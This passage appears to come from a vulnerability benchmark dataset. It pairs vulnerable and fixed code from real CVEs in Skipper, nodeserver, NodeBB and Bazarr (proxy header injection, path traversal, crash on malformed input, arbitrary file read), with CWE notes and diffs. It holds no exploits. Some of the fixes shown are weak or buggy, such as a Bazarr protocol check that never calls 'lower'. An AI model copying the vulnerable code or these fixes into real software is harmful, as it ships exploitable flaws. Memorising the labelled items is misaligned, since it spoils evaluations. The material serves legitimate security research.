ok := stateBag[filters.BackendIsProxyKey]; ok {\n\t\tforwardToProxy(r, rr)\n\t}\n\n\tctxspan := ot.SpanFromContext(r.Context())\n\tif ctxspan != nil {\n\t\trr = rr.WithContext(ot.ContextWithSpan(rr.Context(), ctxspan))\n\t}\n\n\treturn rr, endpoint, nil\n}"}, {"id": "vul_go_234_3", "commit": "bc39a90", "file_path": "proxy/proxy.go", "start_line": 529, "end_line": 539, "snippet": "func forwardToProxy(incoming, outgoing *http.Request) {\n\tproxyURL := &url.URL{\n\t\tScheme: outgoing.URL.Scheme,\n\t\tHost:   outgoing.URL.Host,\n\t}\n\n\toutgoing.URL.Host = incoming.Host\n\toutgoing.URL.Scheme = schemeFromRequest(incoming)\n\n\toutgoing.Header.Set(backendIsProxyHeader, proxyURL.String())\n}"}, {"id": "vul_go_234_4", "commit": "bc39a90", "file_path": "proxy/proxy.go", "start_line": 731, "end_line": 738, "snippet": "func proxyFromHeader(req *http.Request) (*url.URL, error) {\n\tif u := req.Header.Get(backendIsProxyHeader); u != \"\" {\n\t\treq.Header.Del(backendIsProxyHeader)\n\t\treturn url.Parse(u)\n\t}\n\treturn nil, nil\n}\n"}, {"id": "vul_go_234_5", "commit": "bc39a90", "file_path": "proxy/proxy.go", "start_line": 594, "end_line": 707, "snippet": "func WithParams(p Params) *Proxy {\n\tif p.IdleConnectionsPerHost <= 0 {\n\t\tp.IdleConnectionsPerHost = DefaultIdleConnsPerHost\n\t}\n\n\tif p.CloseIdleConnsPeriod == 0 {\n\t\tp.CloseIdleConnsPeriod = DefaultCloseIdleConnsPeriod\n\t}\n\n\tif p.ResponseHeaderTimeout == 0 {\n\t\tp.ResponseHeaderTimeout = DefaultResponseHeaderTimeout\n\t}\n\n\tif p.ExpectContinueTimeout == 0 {\n\t\tp.ExpectContinueTimeout = DefaultExpectContinueTimeout\n\t}\n\n\tif p.CustomHttpRoundTripperWrap == nil {\n\t\t// default wrapper which does nothing\n\t\tp.CustomHttpRoundTripperWrap = func(original http.RoundTripper) http.RoundTripper {\n\t\t\treturn original\n\t\t}\n\t}\n\n\ttr := &http.Transport{\n\t\tDialContext: newSkipperDialer(net.Dialer{\n\t\t\tTimeout:   p.Timeout,\n\t\t\tKeepAlive: p.KeepAlive,\n\t\t\tDualStack: p.DualStack,\n\t\t}).DialContext,\n\t\tTLSHandshakeTimeout:   p.TLSHandshakeTimeout,\n\t\tResponseHeaderTimeout: p.ResponseHeaderTimeout,\n\t\tExpectContinueTimeout: p.ExpectContinueTimeout,\n\t\tMaxIdleConns:          p.MaxIdleConns,\n\t\tMaxIdleConnsPerHost:   p.IdleConnectionsPerHost,\n\t\tIdleConnTimeout:       p.CloseIdleConnsPeriod,\n\t\tDisableKeepAlives:     p.DisableHTTPKeepalives,\n\t\tProxy:                 proxyFromHeader,\n\t}\n\n\tquit := make(chan struct{})\n\t// We need this to reliably fade on DNS change, which is right\n\t// now not fixed with IdleConnTimeout in the http.Transport.\n\t// https://github.com/golang/go/issues/23427\n\tif p.CloseIdleConnsPeriod > 0 {\n\t\tgo func() {\n\t\t\tfor {\n\t\t\t\tselect {\n\t\t\t\tcase <-time.After(p.CloseIdleConnsPeriod):\n\t\t\t\t\ttr.CloseIdleConnections()\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n\n\tif p.ClientTLS != nil {\n\t\ttr.TLSClientConfig = p.ClientTLS\n\t}\n\n\tif p.Flags.Insecure() {\n\t\tif tr.TLSClientConfig == nil {\n\t\t\t/* #nosec */\n\t\t\ttr.TLSClientConfig = &tls.Config{InsecureSkipVerify: true}\n\t\t} else {\n\t\t\t/* #nosec */\n\t\t\ttr.TLSClientConfig.InsecureSkipVerify = true\n\t\t}\n\t}\n\n\tm := metrics.Default\n\tif p.Flags.Debug() {\n\t\tm = metrics.Void\n\t}\n\n\tif p.MaxLoopbacks == 0 {\n\t\tp.MaxLoopbacks = DefaultMaxLoopbacks\n\t} else if p.MaxLoopbacks < 0 {\n\t\tp.MaxLoopbacks = 0\n\t}\n\n\tdefaultHTTPStatus := http.StatusNotFound\n\n\tif p.DefaultHTTPStatus >= http.StatusContinue && p.DefaultHTTPStatus <= http.StatusNetworkAuthenticationRequired {\n\t\tdefaultHTTPStatus = p.DefaultHTTPStatus\n\t}\n\n\thostname := os.Getenv(\"HOSTNAME\")\n\n\treturn &Proxy{\n\t\trouting:                  p.Routing,\n\t\troundTripper:             p.CustomHttpRoundTripperWrap(tr),\n\t\tpriorityRoutes:           p.PriorityRoutes,\n\t\tflags:                    p.Flags,\n\t\tmetrics:                  m,\n\t\tquit:                     quit,\n\t\tflushInterval:            p.FlushInterval,\n\t\texperimentalUpgrade:      p.ExperimentalUpgrade,\n\t\texperimentalUpgradeAudit: p.ExperimentalUpgradeAudit,\n\t\tmaxLoops:                 p.MaxLoopbacks,\n\t\tbreakers:                 p.CircuitBreakers,\n\t\tlb:                       p.LoadBalancer,\n\t\tlimiters:                 p.RateLimiters,\n\t\tlog:                      &logging.DefaultLog{},\n\t\tdefaultHTTPStatus:        defaultHTTPStatus,\n\t\ttracing:                  newProxyTracing(p.OpenTracing),\n\t\taccessLogDisabled:        p.AccessLogDisabled,\n\t\tupgradeAuditLogOut:       os.Stdout,\n\t\tupgradeAuditLogErr:       os.Stderr,\n\t\tclientTLS:                tr.TLSClientConfig,\n\t\thostname:                 hostname,\n\t}\n}"}], "fix_func": [{"id": "fix_go_234_1", "commit": "842634347da8fe77e396f66edea79d329fd72130", "file_path": "proxy/proxy.go", "start_line": 43, "end_line": 65, "snippet": "const (\n\tproxyBufferSize         = 8192\n\tunknownRouteID          = \"_unknownroute_\"\n\tunknownRouteBackendType = \"<unknown>\"\n\tunknownRouteBackend     = \"<unknown>\"\n\n\t// Number of loops allowed by default.\n\tDefaultMaxLoopbacks = 9\n\n\t// The default value set for http.Transport.MaxIdleConnsPerHost.\n\tDefaultIdleConnsPerHost = 64\n\n\t// The default period at which the idle connections are forcibly\n\t// closed.\n\tDefaultCloseIdleConnsPeriod = 20 * time.Second\n\n\t// DefaultResponseHeaderTimeout, the default response header timeout\n\tDefaultResponseHeaderTimeout = 60 * time.Second\n\n\t// DefaultExpectContinueTimeout, the default timeout to expect\n\t// a response for a 100 Continue request\n\tDefaultExpectContinueTimeout = 30 * time.Second\n)"}, {"id": "fix_go_234_2", "commit": "842634347da8fe77e396f66edea79d329fd72130", "file_path": "proxy/proxy.go", "start_line": 468, "end_line": 526, "snippet": "func mapRequest(ctx *context, requestContext stdlibcontext.Context, removeHopHeaders bool) (*http.Request, *routing.LBEndpoint, error) {\n\tvar endpoint *routing.LBEndpoint\n\tr := ctx.request\n\trt := ctx.route\n\thost := ctx.outgoingHost\n\tstateBag := ctx.StateBag()\n\tu := r.URL\n\n\tswitch rt.BackendType {\n\tcase eskip.DynamicBackend:\n\t\tsetRequestURLFromRequest(u, r)\n\t\tsetRequestURLForDynamicBackend(u, stateBag)\n\tcase eskip.LBBackend:\n\t\tendpoint = setRequestURLForLoadBalancedBackend(u, rt, &routing.LBContext{Request: r, Route: rt, Params: stateBag})\n\tdefault:\n\t\tu.Scheme = rt.Scheme\n\t\tu.Host = rt.Host\n\t}\n\n\tbody := r.Body\n\tif r.ContentLength == 0 {\n\t\tbody = nil\n\t}\n\n\trr, err := http.NewRequestWithContext(requestContext, r.Method, u.String(), body)\n\tif err != nil {\n\t\treturn nil, endpoint, err\n\t}\n\n\trr.ContentLength = r.ContentLength\n\tif removeHopHeaders {\n\t\trr.Header = cloneHeaderExcluding(r.Header, hopHeaders)\n\t} else {\n\t\trr.Header = cloneHeader(r.Header)\n\t}\n\t// Disable default net/http user agent when user agent is not specified\n\tif _, ok := rr.Header[\"User-Agent\"]; !ok {\n\t\trr.Header[\"User-Agent\"] = []string{\"\"}\n\t}\n\trr.Host = host\n\n\t// If there is basic auth configured in the URL we add them as headers\n\tif u.User != nil {\n\t\tup := u.User.String()\n\t\tupBase64 := base64.StdEncoding.EncodeToString([]byte(up))\n\t\trr.Header.Add(\"Authorization\", fmt.Sprintf(\"Basic %s\", upBase64))\n\t}\n\n\tctxspan := ot.SpanFromContext(r.Context())\n\tif ctxspan != nil {\n\t\trr = rr.WithContext(ot.ContextWithSpan(rr.Context(), ctxspan))\n\t}\n\n\tif _, ok := stateBag[filters.BackendIsProxyKey]; ok {\n\t\trr = forwardToProxy(r, rr)\n\t}\n\n\treturn rr, endpoint, nil\n}"}, {"id": "fix_go_234_3", "commit": "842634347da8fe77e396f66edea79d329fd72130", "file_path": "proxy/proxy.go", "start_line": 528, "end_line": 540, "snippet": "type proxyUrlContextKey struct{}\n\nfunc forwardToProxy(incoming, outgoing *http.Request) *http.Request {\n\tproxyURL := &url.URL{\n\t\tScheme: outgoing.URL.Scheme,\n\t\tHost:   outgoing.URL.Host,\n\t}\n\n\toutgoing.URL.Host = incoming.Host\n\toutgoing.URL.Scheme = schemeFromRequest(incoming)\n\n\treturn outgoing.WithContext(stdlibcontext.WithValue(outgoing.Context(), proxyUrlContextKey{}, proxyURL))\n}"}, {"id": "fix_go_234_4", "commit": "842634347da8fe77e396f66edea79d329fd72130", "file_path": "proxy/proxy.go", "start_line": 542, "end_line": 548, "snippet": "func proxyFromContext(req *http.Request) (*url.URL, error) {\n\tproxyURL, _ := req.Context().Value(proxyUrlContextKey{}).(*url.URL)\n\tif proxyURL != nil {\n\t\treturn proxyURL, nil\n\t}\n\treturn nil, nil\n}"}, {"id": "fix_go_234_5", "commit": "842634347da8fe77e396f66edea79d329fd72130", "file_path": "proxy/proxy.go", "start_line": 603, "end_line": 716, "snippet": "func WithParams(p Params) *Proxy {\n\tif p.IdleConnectionsPerHost <= 0 {\n\t\tp.IdleConnectionsPerHost = DefaultIdleConnsPerHost\n\t}\n\n\tif p.CloseIdleConnsPeriod == 0 {\n\t\tp.CloseIdleConnsPeriod = DefaultCloseIdleConnsPeriod\n\t}\n\n\tif p.ResponseHeaderTimeout == 0 {\n\t\tp.ResponseHeaderTimeout = DefaultResponseHeaderTimeout\n\t}\n\n\tif p.ExpectContinueTimeout == 0 {\n\t\tp.ExpectContinueTimeout = DefaultExpectContinueTimeout\n\t}\n\n\tif p.CustomHttpRoundTripperWrap == nil {\n\t\t// default wrapper which does nothing\n\t\tp.CustomHttpRoundTripperWrap = func(original http.RoundTripper) http.RoundTripper {\n\t\t\treturn original\n\t\t}\n\t}\n\n\ttr := &http.Transport{\n\t\tDialContext: newSkipperDialer(net.Dialer{\n\t\t\tTimeout:   p.Timeout,\n\t\t\tKeepAlive: p.KeepAlive,\n\t\t\tDualStack: p.DualStack,\n\t\t}).DialContext,\n\t\tTLSHandshakeTimeout:   p.TLSHandshakeTimeout,\n\t\tResponseHeaderTimeout: p.ResponseHeaderTimeout,\n\t\tExpectContinueTimeout: p.ExpectContinueTimeout,\n\t\tMaxIdleConns:          p.MaxIdleConns,\n\t\tMaxIdleConnsPerHost:   p.IdleConnectionsPerHost,\n\t\tIdleConnTimeout:       p.CloseIdleConnsPeriod,\n\t\tDisableKeepAlives:     p.DisableHTTPKeepalives,\n\t\tProxy:                 proxyFromContext,\n\t}\n\n\tquit := make(chan struct{})\n\t// We need this to reliably fade on DNS change, which is right\n\t// now not fixed with IdleConnTimeout in the http.Transport.\n\t// https://github.com/golang/go/issues/23427\n\tif p.CloseIdleConnsPeriod > 0 {\n\t\tgo func() {\n\t\t\tfor {\n\t\t\t\tselect {\n\t\t\t\tcase <-time.After(p.CloseIdleConnsPeriod):\n\t\t\t\t\ttr.CloseIdleConnections()\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n\n\tif p.ClientTLS != nil {\n\t\ttr.TLSClientConfig = p.ClientTLS\n\t}\n\n\tif p.Flags.Insecure() {\n\t\tif tr.TLSClientConfig == nil {\n\t\t\t/* #nosec */\n\t\t\ttr.TLSClientConfig = &tls.Config{InsecureSkipVerify: true}\n\t\t} else {\n\t\t\t/* #nosec */\n\t\t\ttr.TLSClientConfig.InsecureSkipVerify = true\n\t\t}\n\t}\n\n\tm := metrics.Default\n\tif p.Flags.Debug() {\n\t\tm = metrics.Void\n\t}\n\n\tif p.MaxLoopbacks == 0 {\n\t\tp.MaxLoopbacks = DefaultMaxLoopbacks\n\t} else if p.MaxLoopbacks < 0 {\n\t\tp.MaxLoopbacks = 0\n\t}\n\n\tdefaultHTTPStatus := http.StatusNotFound\n\n\tif p.DefaultHTTPStatus >= http.StatusContinue && p.DefaultHTTPStatus <= http.StatusNetworkAuthenticationRequired {\n\t\tdefaultHTTPStatus = p.DefaultHTTPStatus\n\t}\n\n\thostname := os.Getenv(\"HOSTNAME\")\n\n\treturn &Proxy{\n\t\trouting:                  p.Routing,\n\t\troundTripper:             p.CustomHttpRoundTripperWrap(tr),\n\t\tpriorityRoutes:           p.PriorityRoutes,\n\t\tflags:                    p.Flags,\n\t\tmetrics:                  m,\n\t\tquit:                     quit,\n\t\tflushInterval:            p.FlushInterval,\n\t\texperimentalUpgrade:      p.ExperimentalUpgrade,\n\t\texperimentalUpgradeAudit: p.ExperimentalUpgradeAudit,\n\t\tmaxLoops:                 p.MaxLoopbacks,\n\t\tbreakers:                 p.CircuitBreakers,\n\t\tlb:                       p.LoadBalancer,\n\t\tlimiters:                 p.RateLimiters,\n\t\tlog:                      &logging.DefaultLog{},\n\t\tdefaultHTTPStatus:        defaultHTTPStatus,\n\t\ttracing:                  newProxyTracing(p.OpenTracing),\n\t\taccessLogDisabled:        p.AccessLogDisabled,\n\t\tupgradeAuditLogOut:       os.Stdout,\n\t\tupgradeAuditLogErr:       os.Stderr,\n\t\tclientTLS:                tr.TLSClientConfig,\n\t\thostname:                 hostname,\n\t}\n}"}], "vul_patch": "--- a/proxy/proxy.go\n+++ b/proxy/proxy.go\n@@ -3,7 +3,6 @@\n \tunknownRouteID          = \"_unknownroute_\"\n \tunknownRouteBackendType = \"<unknown>\"\n \tunknownRouteBackend     = \"<unknown>\"\n-\tbackendIsProxyHeader    = \"X-Skipper-Proxy\"\n \n \t// Number of loops allowed by default.\n \tDefaultMaxLoopbacks = 9\n\n--- a/proxy/proxy.go\n+++ b/proxy/proxy.go\n@@ -46,14 +46,14 @@\n \t\trr.Header.Add(\"Authorization\", fmt.Sprintf(\"Basic %s\", upBase64))\n \t}\n \n-\tif _, ok := stateBag[filters.BackendIsProxyKey]; ok {\n-\t\tforwardToProxy(r, rr)\n-\t}\n-\n \tctxspan := ot.SpanFromContext(r.Context())\n \tif ctxspan != nil {\n \t\trr = rr.WithContext(ot.ContextWithSpan(rr.Context(), ctxspan))\n \t}\n \n+\tif _, ok := stateBag[filters.BackendIsProxyKey]; ok {\n+\t\trr = forwardToProxy(r, rr)\n+\t}\n+\n \treturn rr, endpoint, nil\n }\n\n--- a/proxy/proxy.go\n+++ b/proxy/proxy.go\n@@ -1,4 +1,6 @@\n-func forwardToProxy(incoming, outgoing *http.Request) {\n+type proxyUrlContextKey struct{}\n+\n+func forwardToProxy(incoming, outgoing *http.Request) *http.Request {\n \tproxyURL := &url.URL{\n \t\tScheme: outgoing.URL.Scheme,\n \t\tHost:   outgoing.URL.Host,\n@@ -7,5 +9,5 @@\n \toutgoing.URL.Host = incoming.Host\n \toutgoing.URL.Scheme = schemeFromRequest(incoming)\n \n-\toutgoing.Header.Set(backendIsProxyHeader, proxyURL.String())\n+\treturn outgoing.WithContext(stdlibcontext.WithValue(outgoing.Context(), proxyUrlContextKey{}, proxyURL))\n }\n\n--- a/proxy/proxy.go\n+++ b/proxy/proxy.go\n@@ -1,7 +1,7 @@\n-func proxyFromHeader(req *http.Request) (*url.URL, error) {\n-\tif u := req.Header.Get(backendIsProxyHeader); u != \"\" {\n-\t\treq.Header.Del(backendIsProxyHeader)\n-\t\treturn url.Parse(u)\n+func proxyFromContext(req *http.Request) (*url.URL, error) {\n+\tproxyURL, _ := req.Context().Value(proxyUrlContextKey{}).(*url.URL)\n+\tif proxyURL != nil {\n+\t\treturn proxyURL, nil\n \t}\n \treturn nil, nil\n }\n\n--- a/proxy/proxy.go\n+++ b/proxy/proxy.go\n@@ -35,7 +35,7 @@\n \t\tMaxIdleConnsPerHost:   p.IdleConnectionsPerHost,\n \t\tIdleConnTimeout:       p.CloseIdleConnsPeriod,\n \t\tDisableKeepAlives:     p.DisableHTTPKeepalives,\n-\t\tProxy:                 proxyFromHeader,\n+\t\tProxy:                 proxyFromContext,\n \t}\n \n \tquit := make(chan struct{})\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-36651", "cve_description": "A vulnerability has been found in youngerheart nodeserver and classified as critical. Affected by this vulnerability is an unknown functionality of the file nodeserver.js. The manipulation leads to path traversal. The identifier of the patch is c4c0f0138ab5afbac58e03915d446680421bde28. It is recommended to apply a patch to fix this issue. The identifier VDB-218461 was assigned to this vulnerability.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/youngerheart/nodeserver", "patch_url": ["https://github.com/youngerheart/nodeserver/commit/c4c0f0138ab5afbac58e03915d446680421bde28"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_266_1", "commit": "56b51bd4bdff640a4eb2e16e8558ce7b709a95b6", "file_path": "nodeserver.js", "start_line": 31, "end_line": 31, "snippet": "    var nowTemp = host.frondend + (request.url.replace('/', '') || host.baseTemp);"}], "fix_func": [{"id": "fix_js_266_1", "commit": "c4c0f0138ab5afbac58e03915d446680421bde28", "file_path": "nodeserver.js", "start_line": 31, "end_line": 31, "snippet": "    var nowTemp = (host.frondend + (request.url.replace('/', '') || host.baseTemp)).replace(/\\.\\./g, '');"}], "vul_patch": "--- a/nodeserver.js\n+++ b/nodeserver.js\n@@ -1 +1 @@\n-    var nowTemp = host.frondend + (request.url.replace('/', '') || host.baseTemp);\n+    var nowTemp = (host.frondend + (request.url.replace('/', '') || host.baseTemp)).replace(/\\.\\./g, '');\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-30591", "cve_description": "Denial-of-service in NodeBB <= v2.8.10 allows unauthenticated attackers to trigger a crash, when invoking `eventName.startsWith()` or `eventName.toString()`, while processing Socket.IO messages via crafted Socket.IO messages containing array or object type for the event name respectively.", "cwe_info": {"CWE-754": {"name": "Improper Check for Unusual or Exceptional Conditions", "description": "The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product."}}, "repo": "https://github.com/NodeBB/NodeBB", "patch_url": ["https://github.com/NodeBB/NodeBB/commit/37b48b82a4bc7680c6e4c42647209010cb239c2c"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_312_1", "commit": "e9a8e19508cea1764f75f2e14d65f32010f9b91b", "file_path": "src/socket.io/index.js", "start_line": 110, "end_line": 171, "snippet": "async function onMessage(socket, payload) {\n\tif (!payload.data.length) {\n\t\treturn winston.warn('[socket.io] Empty payload');\n\t}\n\n\tconst eventName = payload.data[0];\n\tconst params = typeof payload.data[1] === 'function' ? {} : payload.data[1];\n\tconst callback = typeof payload.data[payload.data.length - 1] === 'function' ? payload.data[payload.data.length - 1] : function () {};\n\n\tif (!eventName) {\n\t\treturn winston.warn('[socket.io] Empty method name');\n\t}\n\n\tconst parts = eventName.toString().split('.');\n\tconst namespace = parts[0];\n\tconst methodToCall = parts.reduce((prev, cur) => {\n\t\tif (prev !== null && prev[cur] && (!prev.hasOwnProperty || prev.hasOwnProperty(cur))) {\n\t\t\treturn prev[cur];\n\t\t}\n\t\treturn null;\n\t}, Namespaces);\n\n\tif (!methodToCall || typeof methodToCall !== 'function') {\n\t\tif (process.env.NODE_ENV === 'development') {\n\t\t\twinston.warn(`[socket.io] Unrecognized message: ${eventName}`);\n\t\t}\n\t\tconst escapedName = validator.escape(String(eventName));\n\t\treturn callback({ message: `[[error:invalid-event, ${escapedName}]]` });\n\t}\n\n\tsocket.previousEvents = socket.previousEvents || [];\n\tsocket.previousEvents.push(eventName);\n\tif (socket.previousEvents.length > 20) {\n\t\tsocket.previousEvents.shift();\n\t}\n\n\tif (!eventName.startsWith('admin.') && ratelimit.isFlooding(socket)) {\n\t\twinston.warn(`[socket.io] Too many emits! Disconnecting uid : ${socket.uid}. Events : ${socket.previousEvents}`);\n\t\treturn socket.disconnect();\n\t}\n\n\ttry {\n\t\tawait checkMaintenance(socket);\n\t\tawait validateSession(socket, '[[error:revalidate-failure]]');\n\n\t\tif (Namespaces[namespace].before) {\n\t\t\tawait Namespaces[namespace].before(socket, eventName, params);\n\t\t}\n\n\t\tif (methodToCall.constructor && methodToCall.constructor.name === 'AsyncFunction') {\n\t\t\tconst result = await methodToCall(socket, params);\n\t\t\tcallback(null, result);\n\t\t} else {\n\t\t\tmethodToCall(socket, params, (err, result) => {\n\t\t\t\tcallback(err ? { message: err.message } : null, result);\n\t\t\t});\n\t\t}\n\t} catch (err) {\n\t\twinston.error(`${eventName}\\n${err.stack ? err.stack : err.message}`);\n\t\tcallback({ message: err.message });\n\t}\n}"}], "fix_func": [{"id": "fix_js_312_1", "commit": "37b48b82a4bc7680c6e4c42647209010cb239c2c", "file_path": "src/socket.io/index.js", "start_line": 110, "end_line": 176, "snippet": "async function onMessage(socket, payload) {\n\tif (!payload.data.length) {\n\t\treturn winston.warn('[socket.io] Empty payload');\n\t}\n\n\tconst eventName = payload.data[0];\n\tconst params = typeof payload.data[1] === 'function' ? {} : payload.data[1];\n\tconst callback = typeof payload.data[payload.data.length - 1] === 'function' ? payload.data[payload.data.length - 1] : function () {};\n\n\tif (!eventName) {\n\t\treturn winston.warn('[socket.io] Empty method name');\n\t}\n\n\tif (typeof eventName !== 'string') {\n\t\tconst escapedName = validator.escape(String(eventName));\n\t\treturn callback({ message: `[[error:invalid-event, ${escapedName}]]` });\n\t}\n\n\tconst parts = eventName.split('.');\n\tconst namespace = parts[0];\n\tconst methodToCall = parts.reduce((prev, cur) => {\n\t\tif (prev !== null && prev[cur] && (!prev.hasOwnProperty || prev.hasOwnProperty(cur))) {\n\t\t\treturn prev[cur];\n\t\t}\n\t\treturn null;\n\t}, Namespaces);\n\n\tif (!methodToCall || typeof methodToCall !== 'function') {\n\t\tif (process.env.NODE_ENV === 'development') {\n\t\t\twinston.warn(`[socket.io] Unrecognized message: ${eventName}`);\n\t\t}\n\t\tconst escapedName = validator.escape(String(eventName));\n\t\treturn callback({ message: `[[error:invalid-event, ${escapedName}]]` });\n\t}\n\n\tsocket.previousEvents = socket.previousEvents || [];\n\tsocket.previousEvents.push(eventName);\n\tif (socket.previousEvents.length > 20) {\n\t\tsocket.previousEvents.shift();\n\t}\n\n\tif (!eventName.startsWith('admin.') && ratelimit.isFlooding(socket)) {\n\t\twinston.warn(`[socket.io] Too many emits! Disconnecting uid : ${socket.uid}. Events : ${socket.previousEvents}`);\n\t\treturn socket.disconnect();\n\t}\n\n\ttry {\n\t\tawait checkMaintenance(socket);\n\t\tawait validateSession(socket, '[[error:revalidate-failure]]');\n\n\t\tif (Namespaces[namespace].before) {\n\t\t\tawait Namespaces[namespace].before(socket, eventName, params);\n\t\t}\n\n\t\tif (methodToCall.constructor && methodToCall.constructor.name === 'AsyncFunction') {\n\t\t\tconst result = await methodToCall(socket, params);\n\t\t\tcallback(null, result);\n\t\t} else {\n\t\t\tmethodToCall(socket, params, (err, result) => {\n\t\t\t\tcallback(err ? { message: err.message } : null, result);\n\t\t\t});\n\t\t}\n\t} catch (err) {\n\t\twinston.error(`${eventName}\\n${err.stack ? err.stack : err.message}`);\n\t\tcallback({ message: err.message });\n\t}\n}"}], "vul_patch": "--- a/src/socket.io/index.js\n+++ b/src/socket.io/index.js\n@@ -11,7 +11,12 @@\n \t\treturn winston.warn('[socket.io] Empty method name');\n \t}\n \n-\tconst parts = eventName.toString().split('.');\n+\tif (typeof eventName !== 'string') {\n+\t\tconst escapedName = validator.escape(String(eventName));\n+\t\treturn callback({ message: `[[error:invalid-event, ${escapedName}]]` });\n+\t}\n+\n+\tconst parts = eventName.split('.');\n \tconst namespace = parts[0];\n \tconst methodToCall = parts.reduce((prev, cur) => {\n \t\tif (prev !== null && prev[cur] && (!prev.hasOwnProperty || prev.hasOwnProperty(cur))) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-50264", "cve_description": "Bazarr manages and downloads subtitles. Prior to 1.3.1, Bazarr contains an arbitrary file read in /system/backup/download/ endpoint in bazarr/app/ui.py does not validate the user-controlled filename variable and uses it in the send_file function, which leads to an arbitrary file read on the system. This issue is fixed in version 1.3.1.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/morpheus65535/bazarr", "patch_url": ["https://github.com/morpheus65535/bazarr/commit/17add7fbb3ae1919a40d505470d499d46df9ae6b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_187_1", "commit": "aa0af3f", "file_path": "bazarr/app/ui.py", "start_line": 145, "end_line": 146, "snippet": "def backup_download(filename):\n    return send_file(os.path.join(settings.backup.folder, filename), max_age=0, as_attachment=True)"}, {"id": "vul_py_187_2", "commit": "aa0af3f", "file_path": "bazarr/app/ui.py", "start_line": 150, "end_line": 152, "snippet": "def swaggerui_static(filename):\n    return send_file(os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), 'libs', 'flask_restx',\n                     'static', filename))"}, {"id": "vul_py_187_3", "commit": "aa0af3f", "file_path": "bazarr/app/ui.py", "start_line": 162, "end_line": 183, "snippet": "def proxy(protocol, url):\n    url = protocol + '://' + unquote(url)\n    params = request.args\n    try:\n        result = requests.get(url, params, allow_redirects=False, verify=False, timeout=5, headers=headers)\n    except Exception as e:\n        return dict(status=False, error=repr(e))\n    else:\n        if result.status_code == 200:\n            try:\n                version = result.json()['version']\n                return dict(status=True, version=version)\n            except Exception:\n                return dict(status=False, error='Error Occurred. Check your settings.')\n        elif result.status_code == 401:\n            return dict(status=False, error='Access Denied. Check API key.')\n        elif result.status_code == 404:\n            return dict(status=False, error='Cannot get version. Maybe unsupported legacy API call?')\n        elif 300 <= result.status_code <= 399:\n            return dict(status=False, error='Wrong URL Base.')\n        else:\n            return dict(status=False, error=result.raise_for_status())"}], "fix_func": [{"id": "fix_py_187_1", "commit": "17add7f", "file_path": "bazarr/app/ui.py", "start_line": 145, "end_line": 150, "snippet": "def backup_download(filename):\n    fullpath = os.path.normpath(os.path.join(settings.backup.folder, filename))\n    if not fullpath.startswith(settings.backup.folder):\n        return '', 404\n    else:\n        return send_file(fullpath, max_age=0, as_attachment=True)"}, {"id": "fix_py_187_2", "commit": "17add7f", "file_path": "bazarr/app/ui.py", "start_line": 154, "end_line": 161, "snippet": "def swaggerui_static(filename):\n    basepath = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), 'libs', 'flask_restx',\n                            'static')\n    fullpath = os.path.join(basepath, filename)\n    if not fullpath.startswith(basepath):\n        return '', 404\n    else:\n        return send_file(fullpath)"}, {"id": "fix_py_187_3", "commit": "17add7f", "file_path": "bazarr/app/ui.py", "start_line": 171, "end_line": 194, "snippet": "def proxy(protocol, url):\n    if protocol.lower not in ['http', 'https']:\n        return dict(status=False, error='Unsupported protocol')\n    url = protocol + '://' + unquote(url)\n    params = request.args\n    try:\n        result = requests.get(url, params, allow_redirects=False, verify=False, timeout=5, headers=headers)\n    except Exception as e:\n        return dict(status=False, error=repr(e))\n    else:\n        if result.status_code == 200:\n            try:\n                version = result.json()['version']\n                return dict(status=True, version=version)\n            except Exception:\n                return dict(status=False, error='Error Occurred. Check your settings.')\n        elif result.status_code == 401:\n            return dict(status=False, error='Access Denied. Check API key.')\n        elif result.status_code == 404:\n            return dict(status=False, error='Cannot get version. Maybe unsupported legacy API call?')\n        elif 300 <= result.status_code <= 399:\n            return dict(status=False, error='Wrong URL Base.')\n        else:\n            return dict(status=False, error=result.raise_for_status())"}], "vul_patch": "--- a/bazarr/app/ui.py\n+++ b/bazarr/app/ui.py\n@@ -1,2 +1,6 @@\n def backup_download(filename):\n-    return send_file(os.path.join(settings.backup.folder, filename), max_age=0, as_attachment=True)\n+    fullpath = os.path.normpath(os.path.join(settings.backup.folder, filename))\n+    if not fullpath.startswith(settings.backup.folder):\n+        return '', 404\n+    else:\n+        return send_file(fullpath, max_age=0, as_attachment=True)\n\n--- a/bazarr/app/ui.py\n+++ b/bazarr/app/ui.py\n@@ -1,3 +1,8 @@\n def swaggerui_static(filename):\n-    return send_file(os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), 'libs', 'flask_restx',\n-                     'static', filename))\n+    basepath = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), 'libs', 'flask_restx',\n+                            'static')\n+    fullpath = os.path.join(basepath, filename)\n+    if not fullpath.startswith(basepath):\n+        return '', 404\n+    else:\n+        return send_file(fullpath)\n\n--- a/bazarr/app/ui.py\n+++ b/bazarr/app/ui.py\n@@ -1,4 +1,6 @@\n def proxy(protocol, url):\n+    if protocol.lower not in ['http', 'https']:\n+        return dict(status=False, error='Unsupported protocol')\n     url = protocol + '://' + unquote(url)\n     params = request.args\n     try:\n\n", 